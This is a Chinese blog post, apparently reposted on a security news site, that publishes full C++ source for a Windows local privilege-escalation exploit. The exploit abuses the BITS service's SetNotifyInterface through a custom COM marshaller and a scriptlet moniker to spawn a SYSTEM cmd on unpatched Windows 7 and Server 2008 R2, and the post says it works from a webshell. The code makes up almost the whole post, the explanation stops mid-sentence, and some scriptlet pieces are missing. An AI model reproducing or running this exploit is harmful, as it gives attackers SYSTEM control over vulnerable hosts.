最新完美1day,又一种新的btis服务com组件漏洞利用方式,成功提权至system

释放双眼,带上耳机,听听看~!
分析过程poc说明:可在未打微软2018年6月份安全补丁的win7x64,server2008r2x64运行,支持webshell模式,支持任意用户运行,运行后获得一个system权限的cmd,提供poc源码和编译后的exe我的poc仅供研究目的,如果读者利用本poc从事其他行为,与本人无关我的po

分析过程

poc说明:可在未打微软2018年6月份安全补丁的win7x64,server2008r2x64运行,支持webshell模式,

支持任意用户运行,运行后获得一个system权限的cmd,提供poc源码和编译后的exe

我的poc仅供研究目的,如果读者利用本poc从事其他行为,与本人无关

我的poc源码:

#pragma comment(lib, "shlwapi.lib")
 
//myguid
GUID IID_Imytestcom = { 0xE80A6EC1, 0x39FB, 0x462A, { 0xA5, 0x6C, 0x41, 0x1E, 0xE9, 0xFC, 0x1A, 0xEB } };
GUID IID_ITMediaControl = { 0xc445dde8, 0x5199, 0x4bc7, { 0x98, 0x07, 0x5f, 0xfb, 0x92, 0xe4, 0x2e, 0x09 } };
//ole32guid
GUID CLSID_AggStdMarshal2 = { 0x00000027, 0x0000, 0x0008, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID CLSID_FreeThreadedMarshaller = { 0x0000033A, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID CLSID_StubMYTestCom = { 0x00020424, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, } };
 
GUID IID_IStdIdentity = { 0x0000001b, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID IID_IMarshalOptions = { 0X4C1E39E1, 0xE3E3, 0x4296, { 0xAA, 0x86, 0xEC, 0x93, 0x8D, 0x89, 0x6E, 0x92 } };
GUID CLSID_DfMarshal = { 0x0000030B, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID IID_IStdFreeMarshal = { 0x000001d0, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
//GUID IID_IStdMarshalInfo = { 0x00000018, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,} };
//GUID IID_IExternalConnection = { 0x00000019, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,} };
//GUID  IID_IStdFreeMarshal = { 0x000001d0, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
//GUID IID_IProxyManager = { 0x00000008, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID  CLSID_StdWrapper = { 0x00000336, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID  CLSID_StdWrapperNoHeader = { 0x00000350, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID    IID_IObjContext = { 0x051372ae0, 0xcae7, 0x11cf, { 0xbe, 0x81, 0x00, 0xaa, 0x00, 0xa2, 0xfa, 0x25 } };
//program
 
 
static bstr_t IIDToBSTR(REFIID riid)
{
    LPOLESTR str;
    bstr_t ret = "Unknown";
    if (SUCCEEDED(StringFromIID(riid, &str)))
    {
        ret = str;
        CoTaskMemFree(str);
    }
    return ret;
}
 
 
typedef   HRESULT(__stdcall *CoCreateObjectInContext)(IUnknown *pServer, IUnknown *pCtx, _GUID *riid, void **ppv);
typedef HRESULT(__stdcall *CreateProxyFromTypeInfo)(ITypeInfo* pTypeInfo, IUnknown* pUnkOuter, REFIID riid, IRpcProxyBuffer** ppProxy, void** ppv);
typedef HRESULT(__stdcall *CreateStubFromTypeInfo)(ITypeInfo* pTypeInfo, REFIID riid, IUnknown* pUnkServer, IRpcStubBuffer** ppStub);
 
 
 
 
DEFINE_GUID(IID_ISecurityCallContext, 0xcafc823e, 0xb441, 0x11d1, 0xb8, 0x2b, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a);
DEFINE_GUID(IID_IObjectContext, 0x51372ae0, 0xcae7, 0x11cf, 0xbe, 0x81, 0x00, 0xaa, 0x00, 0xa2, 0xfa, 0x25);
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));
 
 
 
 
class CMarshaller : public IMarshal
{
    LONG _ref_count;
    IUnknown * _unk;
 
    ~CMarshaller() {}
 
public:
 
    CMarshaller(IUnknown * unk) : _ref_count(1)
    {
        _unk = unk;
 
    }
 
 
    virtual HRESULT STDMETHODCALLTYPE QueryInterface(
        /* [in] */ REFIID riid,
        /* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)
    {
 
        *ppvObject = nullptr;
        printf("QI [CMarshaller] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
 
        if (riid == IID_IUnknown)
        {
            *ppvObject = this;
        }
        else if (riid == IID_IMarshal)
        {
            *ppvObject = static_cast(this);
        }
        else
        {
            return E_NOINTERFACE;
        }
        printf("Queried Success: %p\n", *ppvObject);
        ((IUnknown *)*ppvObject)->AddRef();
        return S_OK;
    }
 
    virtual ULONG STDMETHODCALLTYPE AddRef(void)
    {
 
        printf("AddRef: %d\n", _ref_count);
        return InterlockedIncrement(&_ref_count);
    }
 
    virtual ULONG STDMETHODCALLTYPE Release(void)
    {
 
        printf("Release: %d\n", _ref_count);
        ULONG ret = InterlockedDecrement(&_ref_count);
        if (ret == 0)
        {
            printf("Release object %p\n", this);
            delete this;
        }
        return ret;
    }
 
 
 
    virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
        /* [annotation][in] */
        _In_  REFIID riid,
        /* [annotation][unique][in] */
        _In_opt_  void *pv,
        /* [annotation][in] */
        _In_  DWORD dwDestContext,
        /* [annotation][unique][in] */
        _Reserved_  void *pvDestContext,
        /* [annotation][in] */
        _In_  DWORD mshlflags,
        /* [annotation][out] */
        _Out_  CLSID *pCid)
    {
 
        //CLSIDFromString(L"{E80A6EC1-39FB-462A-A56C-411EE9FC1AEB}", pCid);
        printf("Call:  GetUnmarshalClass\n");
        GUID marshalInterceptorGUID = { 0xecabafcb, 0x7f19, 0x11d2, { 0x97, 0x8e, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a } };
        *pCid = marshalInterceptorGUID; // ECABAFCB-7F19-11D2-978E-0000F8757E2A
        return S_OK;
    }
    virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
        /* [annotation][unique][in] */
        _In_  IStream *pStm,
        /* [annotation][in] */
        _In_  REFIID riid,
        /* [annotation][unique][in] */
        _In_opt_  void *pv,
        /* [annotation][in] */
        _In_  DWORD dwDestContext,
        /* [annotation][unique][in] */
        _Reserved_  void *pvDestContext,
        /* [annotation][in] */
        _In_  DWORD mshlflags)
    {
 
        printf("Marshal marshalInterceptorGUID Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
        GUID marshalInterceptorGUID = { 0xecabafcb, 0x7f19, 0x11d2, { 0x97, 0x8e, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a } };
        printf("Call:  MarshalInterface\n");
        ULONG written = 0;
        HRESULT hr = 0;
        IMonikerPtr scriptMoniker;
        IMonikerPtr newMoniker;
        IBindCtxPtr context;
        GUID compositeMonikerGUID = { 0x00000309, 0x0000, 0x0000, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
        UINT header[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
        UINT monikers[] = { 0x02, 0x00, 0x00, 0x00 };
        GUID newMonikerGUID = { 0xecabafc6, 0x7f19, 0x11d2, { 0x97, 0x8e, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a } };
        pStm->Write(header, 12, &written);
        pStm->Write(GuidToByteArray(marshalInterceptorGUID), 16, &written);
        pStm->Write(monikers, 4, &written);
        pStm->Write(GuidToByteArray(compositeMonikerGUID), 16, &written);
        pStm->Write(monikers, 4, &written);
        hr = CreateBindCtx(0, &context);
        ULONG cchEaten;       
        //导致最终结果的scriptMoniker
        hr = MkParseDisplayName(context,  GetExeDirMarshal() + L"\\run.sct", &cchEaten, &scriptMoniker);
        hr = CoCreateInstance(newMonikerGUID, NULL, CLSCTX_ALL, IID_IUnknown, (LPVOID*)&newMoniker);
        hr = OleSaveToStream(scriptMoniker, pStm);
        hr = OleSaveToStream(newMoniker, pStm);
        return hr;
 
    }
    bstr_t GetExeDirMarshal()
    {
        WCHAR curr_path[MAX_PATH] = { 0 };
        GetModuleFileName(nullptr, curr_path, MAX_PATH);
        PathRemoveFileSpec(curr_path);
 
        return curr_path;
    }
    unsigned char const* GuidToByteArray(GUID const& g)
    {
        return reinterpret_cast(&g);
    }
    virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
        /* [annotation][in] */
        _In_  REFIID riid,
        /* [annotation][unique][in] */
        _In_opt_  void *pv,
        /* [annotation][in] */
        _In_  DWORD dwDestContext,
        /* [annotation][unique][in] */
        _Reserved_  void *pvDestContext,
        /* [annotation][in] */
        _In_  DWORD mshlflags,
        /* [annotation][out] */
        _Out_  DWORD *pSize)
    {
        *pSize = 1024;
        return S_OK;
    }
 
    virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
        /* [annotation][unique][in] */
        _In_  IStream *pStm,
        /* [annotation][in] */
        _In_  REFIID riid,
        /* [annotation][out] */
        _Outptr_  void **ppv)
    {
        return E_NOTIMPL;
    }
 
    virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
        /* [annotation][unique][in] */
        _In_  IStream *pStm)
    {
        return S_OK;
    }
 
    virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
        /* [annotation][in] */
        _In_  DWORD dwReserved)
    {
        return S_OK;
    }
};
 
 
 
 
 
 
 
class FakeObject : public IBackgroundCopyCallback2, public IPersist
{
    HANDLE m_ptoken;
    LONG m_lRefCount;
    IUnknown *_umk;
    ~FakeObject() {};
 
public:
    //Constructor, Destructor
    FakeObject(IUnknown *umk) {
        _umk = umk;
        m_lRefCount = 1;
 
    }
 
    //IUnknown
    HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
    {
 
 
        printf("QI [FakeObject] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
        if (riid == __uuidof(IUnknown))
        {
            printf("Query for IUnknown\n");
            *ppvObj = this;
        }
        else if (riid == __uuidof(IBackgroundCopyCallback2))
        {
            printf("Query for IBackgroundCopyCallback2\n");
 
        }
        else if (riid == __uuidof(IBackgroundCopyCallback))
        {
            printf("Query for IBackgroundCopyCallback\n");
 
        }
        else if (riid == __uuidof(IPersist))
        {
            printf("Query for IPersist\n");
            *ppvObj = static_cast(this);
            //*ppvObj = _unk2;
        }
        else if (riid == IID_ITMediaControl)
        {
            printf("Query for ITMediaControl\n");
            *ppvObj = static_cast(this);
            //*ppvObj = this;
 
        }
        else if (riid == CLSID_AggStdMarshal2)
        {
            printf("Query for CLSID_AggStdMarshal2\n");
            *ppvObj = (this);
        }
        else if (riid == IID_IMarshal)
        {
            printf("Query for IID_IMarshal\n");
            //*ppvObj = static_cast(this);
 
 
            *ppvObj = NULL;
            return E_NOINTERFACE;
        }
 
        else if (riid == IID_IMarshalOptions)
        {
            printf("PrivateTarProxy IID_IMarshalOptions  IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
 
 
 
            ppvObj = NULL;
 
            return E_NOINTERFACE;
 
 
 
 
        }
        else
        {
            printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
            *ppvObj = NULL;
            return E_NOINTERFACE;
        }
 
        ((IUnknown *)*ppvObj)->AddRef();
        return NOERROR;
    }
 
    ULONG __stdcall AddRef()
    {
        return InterlockedIncrement(&m_lRefCount);
    }
 
    ULONG __stdcall Release()
    {
        ULONG  ulCount = InterlockedDecrement(&m_lRefCount);
 
        if (0 == ulCount)
        {
            delete this;
        }
 
        return ulCount;
    }
 
    virtual HRESULT STDMETHODCALLTYPE JobTransferred(
        /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob)
    {
        printf("JobTransferred\n");
        return S_OK;
    }
 
    virtual HRESULT STDMETHODCALLTYPE JobError(
        /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
        /* [in] */ __RPC__in_opt IBackgroundCopyError *pError)
    {
        printf("JobError\n");
        return S_OK;
    }
 
 
    virtual HRESULT STDMETHODCALLTYPE JobModification(
        /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
        /* [in] */ DWORD dwReserved)
    {
        printf("JobModification\n");
        return S_OK;
    }
 
 
    virtual HRESULT STDMETHODCALLTYPE FileTransferred(
        /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
        /* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile)
    {
        printf("FileTransferred\n");
        return S_OK;
    }
 
    virtual HRESULT STDMETHODCALLTYPE GetClassID(
        /* [out] */ __RPC__out CLSID *pClassID)
    {
        printf("GetClassID\n");
 
 
        *pClassID = GUID_NULL;
 
        return S_OK;
    }
};
 
 
class ScopedHandle
{
    HANDLE _h;
public:
    ScopedHandle() : _h(nullptr)
    {
    }
 
    ScopedHandle(ScopedHandle&) = delete;
 
    ScopedHandle(ScopedHandle&& h) {
        _h = h._h;
        h._h = nullptr;
    }
 
    ~ScopedHandle()
    {
        if (!invalid())
        {
            CloseHandle(_h);
            _h = nullptr;
        }
    }
 
    bool invalid() {
        return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE);
    }
 
    void set(HANDLE h)
    {
        _h = h;
    }
 
    HANDLE get()
    {
        return _h;
    }
 
    HANDLE* ptr()
    {
        return &_h;
    }
 
 
};
 
 
 
_COM_SMARTPTR_TYPEDEF(IEnumBackgroundCopyJobs, __uuidof(IEnumBackgroundCopyJobs));
 
void TestBits(HANDLE hEvent)
{
    IBackgroundCopyManagerPtr pQueueMgr;
    IID CLSID_BackgroundCopyManager;
    IID IID_IBackgroundCopyManager;
    CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &CLSID_BackgroundCopyManager);
    CLSIDFromString(L"{5ce34c0d-0dc9-4c1f-897c-daa1b78cee7c}", &IID_IBackgroundCopyManager);
 
    HRESULT hr = CoCreateInstance(CLSID_BackgroundCopyManager, NULL,
        CLSCTX_ALL, IID_IBackgroundCopyManager, (void**)&pQueueMgr);
 
    IUnknown * pOuter = new CMarshaller(static_cast(new FakeObject(nullptr)));
    IUnknown * pInner;
 
    CoGetStdMarshalEx(pOuter, CLSCTX_INPROC_SERVER, &pInner);
 
    IBackgroundCopyJobPtr pJob;
    GUID guidJob;
 
    IEnumBackgroundCopyJobsPtr enumjobs;
    hr = pQueueMgr->EnumJobsW(0, &enumjobs);
    if (SUCCEEDED(hr))
    {
        IBackgroundCopyJob* currjob;
        ULONG fetched = 0;
 
        while ((enumjobs->Next(1, &currjob, &fetched) == S_OK) && (fetched == 1))
        {
            LPWSTR lpStr;
            if (SUCCEEDED(currjob->GetDisplayName(&lpStr)))
            {
                if (wcscmp(lpStr, L"BitsAuthSample") == 0)
                {
                    CoTaskMemFree(lpStr);
                    currjob->Cancel();
                    currjob->Release();
                    break;
                }
            }
            currjob->Release();
        }
    }
 
 
    pQueueMgr->CreateJob(L"BitsAuthSample",
        BG_JOB_TYPE_DOWNLOAD,
        &guidJob,
        &pJob);
 
 
 
    IUnknownPtr pNotify;
 
 
    pNotify.Attach(new CMarshaller(pInner));
    {
 
        //ScopedHandle link = CreateSymlink(L"\\??\\C:", GetCurrentPath());
        HRESULT hr = pJob->SetNotifyInterface(pNotify);
        printf("Result: %08X\n", hr);
 
    }
    if (pJob)
    {
        pJob->Cancel();
    }
 
    printf("Done\n");
    SetEvent(hEvent);
}
 
 
 
bstr_t GetExeDir()
{
    WCHAR curr_path[MAX_PATH] = { 0 };
    GetModuleFileName(nullptr, curr_path, MAX_PATH);
    PathRemoveFileSpec(curr_path);
 
    return curr_path;
}
 
 
void WriteFile(bstr_t path, const std::vector data)
{
    ScopedHandle hFile;
    hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr));
    if (hFile.invalid())
    {
        throw _com_error(E_FAIL);
    }
 
    if (data.size() > 0)
    {
        DWORD bytes_written;
        if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size())
        {
            throw _com_error(E_FAIL);
        }
    }
 
 
 
}
 
void WriteFile(bstr_t path, const char* data)
{
    const BYTE* bytes = reinterpret_cast(data);
    std::vector data_buf(bytes, bytes + strlen(data));
    WriteFile(path, data_buf);
}
 
std::vector ReadFile(bstr_t path)
{
    ScopedHandle hFile;
    hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr));
    if (hFile.invalid())
    {
        throw _com_error(E_FAIL);
    }
    DWORD size = GetFileSize(hFile.get(), nullptr);
    std::vector ret(size);
    if (size > 0)
    {
        DWORD bytes_read;
        if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size)
        {
            throw _com_error(E_FAIL);
        }
    }
 
    return ret;
}
 
 
bstr_t GetExe()
{
    WCHAR curr_path[MAX_PATH] = { 0 };
    GetModuleFileName(nullptr, curr_path, MAX_PATH);
    return curr_path;
}
 
 
 
const wchar_t x[] = L"ABC";
 
const wchar_t scriptlet_start[] = L"\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n";
 
bstr_t CreateScriptletFile()
{
    bstr_t script_file = GetExeDir() + L"\\run.sct";
    DeleteFile(script_file);
    bstr_t script_data = scriptlet_start;
    bstr_t exe_file = GetExe();
    wchar_t* p = exe_file;
    while (*p)
    {
        if (*p == '\\')
        {
            *p = '/';
        }
        p++;
    }
 
    DWORD session_id;
    ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
    WCHAR session_str[16];
    StringCchPrintf(session_str, _countof(session_str), L"%d", session_id);
 
    script_data += L"\"" + exe_file + L"\" " + session_str + scriptlet_end;
 
    WriteFile(script_file, script_data);
 
    return script_file;
}
 
void CreateNewProcess(const wchar_t* session)
{
    DWORD session_id = wcstoul(session, nullptr, 0);
    ScopedHandle token;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr()))
    {
        throw _com_error(E_FAIL);
    }
 
    ScopedHandle new_token;
 
    if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr()))
    {
        throw _com_error(E_FAIL);
    }
 
    SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id));
 
    STARTUPINFO start_info = {};
    start_info.cb = sizeof(start_info);
    start_info.lpDesktop = L"WinSta0\\Default";
    PROCESS_INFORMATION proc_info;
    WCHAR cmdline[] = L"cmd.exe";
    if (CreateProcessAsUser(new_token.get(), nullptr, cmdline,
        nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))
    {
        CloseHandle(proc_info.hProcess);
        CloseHandle(proc_info.hThread);
    }
}
 
 
 
 
 
const LPCOLESTR Tapi3tlb_path = L"C:\\dl\\cve\\Windows\\System32\\tapi3.dll";
int _tmain(int argc, _TCHAR* argv[])
{
    try
    {
 
        CreateScriptletFile();
        if (argc > 1)
        {
            CreateNewProcess(argv[1]);
        }
        else
        {
            HANDLE  hTokenTmp = 0;
            HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
            HRESULT hr = 0;
            hr = CoInitialize(NULL);
 
 
            hr = CoInitializeSecurity(
                NULL,
                -1,
                NULL,
                NULL,
                RPC_C_AUTHN_LEVEL_CONNECT,
                RPC_C_IMP_LEVEL_IMPERSONATE,
                NULL,
                EOAC_DYNAMIC_CLOAKING | 8,
                NULL);
            if (FAILED(hr))
            {
                return false;
            }
 
 
            TestBits(hEvent);
 
            char szInput[64];
            scanf_s("%[a-z0-9]", szInput);
            CloseHandle(hEvent);
        }
    }
    catch (const _com_error& err)
    {
        printf("Error: %ls\n", err.ErrorMessage());
    }
    CoUninitialize();//释放COM
    return 0;
}

poc原理:在windows下有个以system权限运行的Background Intelligent Transfer Service服务(简称bits),调用bits服务的公开api中的IBackgroundCopyJob->SetNotifyInterface接口,我的利用方式是,在poc中创建的类[CMarshaller],也就是SetNotifyInterface接口的参数Interface(远程com对象),因为这个类继承了IMarshal接口,bits为了获得这个Interface,b

给TA买糖
共{{data.count}}人
人已赞赏
HackerNews

WannaMine再升级 摇身一变成为军火商

2018-6-25 2:25:24

HackerNews

数字资产钱包介绍及实操,这篇文章给你总结全了!

2018-6-26 10:41:06

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索